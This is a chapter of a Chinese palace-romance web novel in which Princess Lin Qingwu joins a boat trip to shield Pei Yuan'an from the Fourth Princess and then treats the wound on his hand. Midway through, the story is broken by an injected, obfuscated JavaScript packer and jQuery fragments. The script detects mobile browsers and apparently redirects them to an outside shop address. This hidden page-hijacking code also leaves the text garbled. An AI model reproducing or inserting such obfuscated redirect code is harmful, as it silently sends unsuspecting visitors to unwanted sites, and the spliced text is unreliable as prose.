7. 第7章

作品:《守寡后重回剧情线

    芷岸听到四公主说的话,顿觉不好。


    她趁着无人注意之际,拔腿就跑。


    “公主,不好了!裴公子本是来看你的,但是半路被四公主拦截了。”


    芷岸一口气说完话,才开始喘气。


    林青芜边往外赶路边回忆林月华的信息。


    四公主林月华,因为受宠,比林兰宜还骄纵跋扈。


    至少目前来看,林兰宜只是傲娇,爱美而已。


    林青芜赶到竹林的时候已经不见人影。


    迟一步跑来的芷岸喊了句:“他们可能去游船……”


    不等芷岸说完,林青芜直奔渡口。


    有条河横穿整个皇宫,最早一代的皇帝便命能工巧匠以水为主设计修建整个皇宫。


    御花园里的河畔有几个渡口,停泊些画舫游船,供宫里主子体验水乡风情。


    距离竹林最近的是月琴渡口。


    林青芜跑到面上唇色皆白之时,她看到月琴渡口处,那道清隽挺拔的身影。


    还好,她赶上了……


    裴元安早早就听到匆忙的跑步声,他朝不远处的大树树梢微微摇了摇头。


    “四姐姐游湖吗?可否带上妹妹一起?”


    林青芜笑着探出脑袋,朝乌篷船里的林月华打招呼。


    林月华还未来得及拒绝,已经上船的莫语立马起身下船。


    林月华为了近距离看裴元安的容貌,特意选了最小,只容纳四人的乌篷船。


    此刻,她自己与贴身宫女各占一个座位,还剩俩位置。


    林青芜才不管林月华满脸的郁色,她朝裴元安笑了笑,率先坐下。


    裴元安紧随其后坐在她身旁。


    林月华看着坐在斜对面的裴元安,脸都气黑了。


    她把怒气发泄到船工身上,吼道:“快划船!”


    乌篷船摇摇晃晃地驶离渡口。


    林青芜不管林月华脸色如何,自顾自地透过大开窗看两岸的风景。


    岸边柳树枝条、河边芦苇花絮均随风摇摆。


    她脸上带笑,边看边问裴元安景色如何。


    裴元安回答也很简单,常常只有“好”“美”等几个简单词汇。


    但即使是最简单的答复,都没有漏掉林青芜任何一个问题。


    林月华气得只想掀翻这乌篷船,让这对狗男女淹死在河里。


    他对林青芜的态度与刚刚对自己一三不知的状态对比,可谓天差地别。


    无视林月华杀人的眼神,林青芜给自己倒了杯水喝。


    跑了一路,又讲了许多话。她快渴死了!


    茶水润过咽喉,林青芜觉得自己又活了。


    她给林月华也倒了一杯,递到她面前,说:“四姐姐不喝吗?”


    林月华冷哼别过脸。


    林青芜:“姑娘是水做的,多喝水才能水灵漂亮,不喝的话会像那干枯的荷叶,皱皱巴巴。”


    “林青芜,你别太过分!”


    林月华气得一掌拍在四人面前的黄花梨圆腿炕桌上。


    桌上的茶壶茶杯与果盘都晃了晃。


    林青芜前面帮倒的茶水直接晃出杯,洒落在林月华腿上。


    她吓得尖叫一声,站了起来,头又碰到乌篷船的顶上,发髻顿时松散了些。


    茶水其实不烫,就温温的,刚好入口,是林月华自己反应过大。


    林青芜掩起唇角地笑,与林月华的宫女一起帮她擦拭纱裙上的水渍。


    林月华推了林青芜一把,吼道:“你别碰我!”


    她压抑不住自己体内的怒气,连叫船工快点靠岸。


    船工明显加快手上的动作,嘴里连忙告罪:“四公主息怒,就快靠岸了。”


    林月华:“不用去渡口,直接找个地方停靠!”


    船工无法,只得依言照办。


    林月华被搀扶着下船,林青芜与裴元安却并没有起身。


    她盯着林青芜与裴元安看了会,让船工也跟着下船。


    船工犹豫间隙,林月华威胁他:“你今日要不下来的话,本公主砍你全家脑袋!”


    林月华要求船工下船,还要求他跟着一起回云桂宫。


    反正她就是不让林青芜与裴元安好过。


    走出些距离,林月华贴身宫女给她出主意。


    “公主,你可以把消息透露给六公主,让她与七公主相争,你在最后坐收渔翁之利即可呀。”


    林月华低头沉思了会,觉得此计甚妙。


    被比作鹤蚌的林青芜坐到裴元安对面,她盯着裴元安看了许久,不解问他:“你既是不愿,为何还要跟林月华走?”


    “寄人篱下,不得不从。”裴元安淡然开口。


    他说这话的时候,神色与以往无差别,神态淡淡,声音清冷。没有一点寄人篱下,不得不从的尴尬与无所适从。


    林青芜轻蹙峨眉,垂头沉思。她不明白裴元安为什么要这么做,其实他想拒绝的话,完全可以拒绝。


    在明面上,他是林国客人,并不是真正被关押的囚犯。所以他为何如此?难不成是想试探些什么?


    青芜皱着的眉松开又蹙起,如是两次过后,她重重叹息一声。


    她只是想在此人心里留下个好印象,让他以后不要折磨自己,仅此而已,可是为什么这么难?


    林青芜抬起一直垂着的头,这一下,又让她傻眼。


    她对面的裴元安不知什么时候站了起来,正弯着腰,垂首脱自己身上的外袍。


    乌篷船的顶不算高,她站起来都需要微微低头,更别说裴元安比她高了一个头左右。


    裴元安脱下外袍,态度冷漠地把外袍扔在旁边的杌凳上,眼眸中含了一层冰霜。


    他与慵懒的宋景言完全不一样,一举一动皆带了些冷意,给人一种千里之外的错觉。


    林青芜做了几个深呼吸,稳住声线问他:“裴公子可是觉得热了?”


    河两岸有种许多柳树、芦苇等植被。船工靠岸的这个点,刚好有一排大株柳树。柳树挡住光线,放眼望去均是一片阴凉处。


    至少比行驶在河中间的时候好多了。


    裴元安摇了摇头,淡淡开口:“脏了。”


    “脏了?”


    林青芜没看出来那雪白的长袍哪里有脏的痕迹,且她刚上船的时候就注意到了,这船被打扫得很是干净,就连地板缝隙都没见到一点灰尘。


    裴元安没再说什么,只淡淡应了句“嗯。”


    来月琴渡口前,有东西扯过他的衣袖,脏了。


    “金疮药带在身上吗?”


    林青芜突然问了一句。


    裴元安取出腰间那瓶小小的白瓷瓶递给她。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956767|193162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    林青芜接过白瓷瓶,有些哭笑不得地开口:“裴公子,你坐下,站太高了,够不着。”


    裴元安依言,重新坐到小杌凳上。


    他左手被对面姑娘拉了过去,微微握拳的指被一个个掰开。


    那姑娘柔柔软软的手一只抓着他的左手,一只单手打开金疮药的盖,瓷白食指挖了点淡粉的药膏细细涂在他掌心那道狰狞可怖的伤口上。


    细细痒痒的触感,外加膏药冰凉的药效,让裴元安微微皱了皱眉。


    林青芜低着头认真涂药,她没有看到裴元安皱起的眉。


    涂完药后,她又从衣袖里拿出一条青玉色的帕子把裴元安的左手仔细包扎起来。


    “好啦,你要注意不要碰水。”


    林青芜笑着抬头,漂亮的眸如被阳光照耀的河面,波光粼粼。


    裴元安从林青芜脸上收回视线,落在左手青玉色的帕子上。


    半晌,他抬头望向窗外的飘摇的柳枝。


    “七公主今日身体不适,为何还要赶来?”


    “当然是不愿看到你被欺负啦。”


    “裴某无权无势,又何德何能?”


    “嘿。”


    林青芜傻笑一声,微微探出一点身子,凑近了盯着裴元安的脸看。


    “因为我这人善良吧!”


    许是感受到她目光灼灼的视线,裴元安回过头来。


    两人四目相对,望进对方的眸中。


    片刻,裴元安移开目光,清澈眸光无波无澜。


    她走到乌篷船的一头,双手搭在橹杆用力一撑。


    声音很大,但是乌篷船一点动静动没有。


    “呵呵……”


    尴尬了,撑不动。


    裴元安腿长,只走了两步就到林青芜的跟前。


    他朝她伸出手,说:“裴某来。”


    林青芜退回船舱内,面对裴元安坐下。她右手撑着下颌,目不转睛地盯着裴元安看。


    裴元安被她看得有些不好意思,微微别开视线。


    月琴渡口。


    芷岸看着远处的小点渐渐清晰,她开心得差点跳了起来。


    “我就跟你说嘛,他们一定会返回来。”


    莫语十分不解地看着那艘乌篷船越来越近。


    难道不应该直接下个渡口停吗?他还想去下个渡口等裴公子。


    芷岸朝这乌篷船使劲挥手,“公主,公主。”


    林青芜听到声音,起身站在裴元安身旁,朝着渡口挥手。


    公主与裴公子实在太般配了!


    芷岸看着乌篷船船头的两道身影,忍不住叹道。


    她笑得一脸开怀,转头想与莫语说些什么。


    只是话才刚到嘴边立马吞了回去。


    ……保护公主,要清醒冷静。


    芷岸默默在心里念了一遍,乌篷船刚好抵达。


    林青芜扶着芷岸的手下了船,又忍不住回头看了眼裴元安。


    莫语看着象牙白缀玉腰带勾勒着裴元安精瘦的腰身,觉得有些不对劲。


    半晌,他才反应过来一般,问说:“公子,你的外袍呢?”


    裴元安:“脏了。便扔了。”


    莫语挠了挠头:“可是,奴见公子上船前还是干净的。”


    裴元安淡淡瞥了他一眼,没有再说话。